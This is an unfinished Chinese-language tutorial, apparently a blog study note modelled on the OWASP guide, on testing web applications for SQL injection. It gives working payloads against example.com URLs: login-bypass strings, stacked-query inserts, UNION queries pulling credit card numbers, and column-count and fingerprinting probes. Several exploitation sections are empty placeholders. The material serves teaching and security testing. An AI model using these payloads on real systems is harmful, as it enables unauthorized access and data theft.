SQL注入的测试

一.SQL注入的简单理解

SQL注入是通过web客户端,通过用户输入数据输入,插入或‘注入’部分或完整的SQL语句。一次成功的SQL注入攻击可以读取数据库中的敏感数据、修改数据库(插入、删除、更新),在数据库上执行管理操作等。本质上,SQL注入是一种注入攻击,其SQL命令被注入到数据平台中,以影响预期的SQL命令执行。
一般来说,编写web应用的程序员会把SQL语句与用户输入数据结合在一起:

eg:select title, text from news where id=$id

由于这样的构造SQL语句的过程,用户可以精心构建输入,使原SQL语句执行出现非预期结果。下面例子展示了用户输入为‘10 or 1=1’,进行密码提权破解操作。

select title, text from news where id=10 or 1=1

SQL注入可以被简单分为以下三类
1.inband:通过sql注入的同一数据通道,来获取攻击的相关数据,并且直接显示在网页上
2.Out-of-band:不同数据通道(eg:把获取到的相关结果发送email给测试人员)
3.Inferential or Blind:没有实际的数据传输,但是测试人员能够通过发送特定的请求并观察数据库服务器的结果行为来重建信息。

成功的SQL注入攻击要求攻击者创建语法正确的SQL查询。如果应用程序返回由错误查询生成的错误消息,则攻击者可能更容易重建原始查询的逻辑,因此,了解如何正确执行注入。但是,如果应用程序隐藏了错误详细信息,那么测试人员必须能够反向工程原始查询的逻辑。

利用SQL注入漏洞有如下五种常见技术
1.Union Operator:在select语句中发生sql注入漏洞缺陷时,可以把两个查询合并为一个查询结果
2.Boolean:在使用布尔值判断某一状态真假时可以使用
3.Error based:强制数据库发生错误,以便测试人员获取更多信息,以优化注入流程
4.Out-of-band:使用不同通道检索数据(TODO:还需要理解???)
5.Time delay:使用数据库命令(eg:sleep),延迟数据库所查询结果的返回,这种方法通常在攻击者无法获取返回值时非常有用。

二.怎样测试

1.Detection Techniques-检测工作

首先,我们需要知道,webapp在何时与数据库交互,以便获取相应的部分数据。如下情况分析了一些典型的数据库交互时刻:
•认证表单:在使用web认证表单执行认证时,很有可能获取到包含用户名密码的相关数据
•搜索引擎:在搜索处,用户输入标准sql语句可能从数据库中获得所有数据

测试人员必须列出所有输入字段的列表,这些字段的值可用于创建SQL查询,包括POST请求的隐藏字段,然后分别对它们进行测试,试图干扰查询并生成错误,同时不要忘记还要考虑HTTP头和Cookies。

我们的一个helloworld渗透测试通常包含向输入字段中添加一个’或者;。引号可能会导致一个不正确的查询,分号可能在第一个查询结束后再次进行第二个查询,或者引起一些错误。如果这些字段没有被过滤,则可能出现一些错误(Microsoft SQL Server 会出现如此情况):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the 
character string ''.
/target/target.asp, line 113

监控所有的所有web server所返回的response,并且审查HTML/JAVASCRIPT的源码。有些错误可能不会被展示给用户,但是却存在内部逻辑错误。例如,上述一个完整的错误信息,就向测试人员提供了丰富的信息,去进行一次成功的注入攻击。但是很多应用通常不会提供一个详细的信息,或者用户错误界面,此时我们就应该使用盲注技术。在很多情况下,我们都应该对于每一个作用域进行单独的测试,用来区分,理解每个参数是可以被攻击的哪一个是不可以被攻击的。

2.标准SQL注入测试

Example1 (classical SQL Injection):

观察如下SQL语句

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

通常,一个网页应用会使用这样的SQL语句进行用户登录验证。这条SQL语句的返回值代表了,如果数据库中存在相关的认证信息,则此用户允许呗登录到该系统,否则,登录将被拒绝。语句中的相关数值均从网页中的用户输入获得,允许我们使用如下的username和password的输入值:

$username = 1' or '1' = '1
$password = 1' or '1' = '1

如此输入,SQL语句变为:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' 

如果我们认为上述参数的输入值是可以通过GET方法传入服务器中的,提交给了一个可攻击的脆弱网站www.exampl.com,那么我们就会得到如下反馈:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 

经分析,我们可以得知sql语句返回的结果由于OR 1=1的存在总为ture。这样系统就会允许认证未知的用户名与密码组合。

在某些系统的用户数据表中的第一行可能记录了一个administrator用户。所以如下的查询sql将会有不同的表现:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

在这个例子中,对于破解此sql,存在两个问题。第一,使用了参数列表;第二使用了MD5哈希加密函数。为了解决参数命名问题,我们只需要添加一些右括号,直到我们得到正确的查询语句。为了解决第二个问题,我们有两种方案。可以在查询语句的最后一个元素添加一个注释符,这样所有跟在这个符号后面的语句都会被认为是注释。每种不同的数据库系统都有自己特定的符号表示注释,但是较为常用的注释符号为/*,在Oracle中是–。这代表我们讲使用如下的username和password的组合:

$username = 1' or '1' = '1'))/*
$password = foo

这样组合后的查询语句将会变为:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) 

由于/*后的内容被注释了,我们得到的request URL将会是如下形式

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo 

这样同样会导致,查询结果一直未true。同理根据以上例子,情况会多种多样。但我们插入一条SQL即可解决这些复杂的实验,我们只需要插入返回值必须为1的查询即可。我们只需要使用“LIMIT”即可。

$username = 1' or '1' = '1')) LIMIT 1/* 
$password = foo 

如此我们的request URL将会变为

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo 

Example 2 (simple SELECT statement):

考虑一下如下的SQL语句

SELECT * FROM products WHERE id_product=$id_product

request会依据脚本有如下输出

http://www.example.com/product.php?id=10

当测试人员使用有效的数据时,web应用将返回其产品描述。此处,我们可以测试,其产品是否在使用逻辑运算符AND和OR时是否不安全。

我们可以考虑如下请求

http://www.example.com/product.php?id=10 AND 1=2

如果发送如下请求,web应用可能会返回没有内容可以匹配成功或者一个空页面。此时,测试人员可以尝试使用一个真实结果:

http://www.example.com/product.php?id=10 AND 1=1

Example 3 (Stacked queries):

由于web应用大多基于API模式设计,因此可能存一个操作使用多条SQL查询组合的情况出现。
例如,如下的SQL语句:

SELECT * FROM products WHERE id_product=$id_product

利用上述情况的一种语句可能是

http://www.example.com/product.php?id=10; INSERT INTO users (…)

此种注入方式可以在一行中执行多条SQL语句,且所执行语句会独立于第一个查询。

3.确定数据库类型

尽管SQL语言是一种标准,但是每种不同的DBMS都有自己的相关特性并且在很多方面有许多不同的特性,例如特殊命令,数据检索函数(eg:users names databases features comments line)
当测试人员开始转向更高级的SQL注入时,需要知道后端数据库的版本以及相关类型。

1)通过观察数据库返回的错误信息

Mysql:
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

完成一个包含version的Union SELECT查询,也可以帮助我们了解后端数据库。

 SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1
Oracle:
ORA-00933: SQL command not properly ended
MS SQL Server:
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string
 SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
PostgreSQL:
Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

2)使用连接技术注入字符串TODO???

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

4.Exploitation Techniques

  • Union Exploitation Technique
    联合运算符用于sql注入,可以使web应用在查询表中数据时,同时查询其他表中不应被查询的数据。
    例如,如下操作可以查询Users表中的Name,Phone,Address列中Id为$id的相关数据。
SELECT Name, Phone, Address FROM Users WHERE Id=$id

但是,如果我们使$id的值变为如下函数值:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

那么SQL查询语句就将变为

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

这样查询,就会使CreditCardTable表中的信用卡号码也同时被查询出来。关键字ALL是绕过使用关键字DISTINCT的查询所必需。其中填写了两个1,1参数,这是由于,我们再使用UNION时必须要有相同的列数在两个查询过程之中。
测试人员使用这种SQL注入技术,首先需要查找并发现此SQL语句所select的正确列数。
为了实现这一点,测试人员可以使用ORDERBY子句,后跟一个数字,表示所选数据库列的数量:

http://www.example.com/product.php?id=10 ORDER BY 10--

如果,测试人员执行了上述请求,并且获得了成功的结果,那么就会有10列以上的数据在select语句中被查询;否则就仅有10列以下的数据被select查询;错误信息可能会如下返回:

Unknown column '10' in 'order clause'

在测试人员找出,select语句到底查询了多少列数据后,下一步就是寻找每列数据的数据类型。假设,我们获取到select语句中如上述例子中,查询了三列数据,测试人员可以对没一列数据的数据类型使用NULL去获取其数据类型。

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

如果,语句执行后返回错误,那么错误信息可能是:

All cells in a column must have the same datatype

如果,语句执行返回成功结果,第一列可能为integer类型,之后测试人员即可继续进行其他步骤:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

收集成功信息后,根据应用程序的不同,它可能只向测试人员显示第一个结果,因为应用程序只处理结果集的第一行。在这种情况下,可以使用LIMIT子句,或者测试人员可以设置无效值,从而使第二个查询有效(假设数据库中没有ID为99999的数据):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

-Boolean Exploitation Technique
Boolean Exploitation在测试人员进行SQL盲注时是一种非常有效的手段。例如,编写者对错误反回了一个错误页,且并没有展示相关的数据库错误提示信息。

通过使用推理方法,可以避免这一障碍,从而成功地恢复某些所需字段的值。这种方法包括对服务器执行一系列布尔查询,观察答案并最终推断出这些答案的含义。我们一如既往地考虑www.example.com域,并假设它包含一个名为id的参数,该参数易受SQL注入攻击。这意味着执行以下请求:

http://www.example.com/index.php?id=1'

我们如果收到了由于错误语句返回的一个用户信息错误页面,因此我们可以推断查询语句在服务器上如下执行:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id' 

它可以通过前面看到的方法加以利用。我们想要得到的是用户名字段的值。我们执行的测试将允许我们获取用户名字段的值,并逐字符提取此类值。我们可以通过一些标准函数库来遍历每种数据库字段。对于我们的示例,我们将使用以下伪函数:

  • SUBSTRING(text,start,length):
  • ASCII(char):
  • LENGTH(text):
    ???不知道如何改变

6.Error based Exploitation technique

7.Out of band Exploitation technique

8.Time delay Exploitation technique

9.Stored Procedure Injection

10

11.SQL Injection signature Evasion Techniques

12.SQL Comments

以上还有很多常见的sql注入技术有待更新,相关sql注入练习可以通过如下网站进行相关练习与理解:http://43.247.91.228:84/
预祝大家闯关成功!!!

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值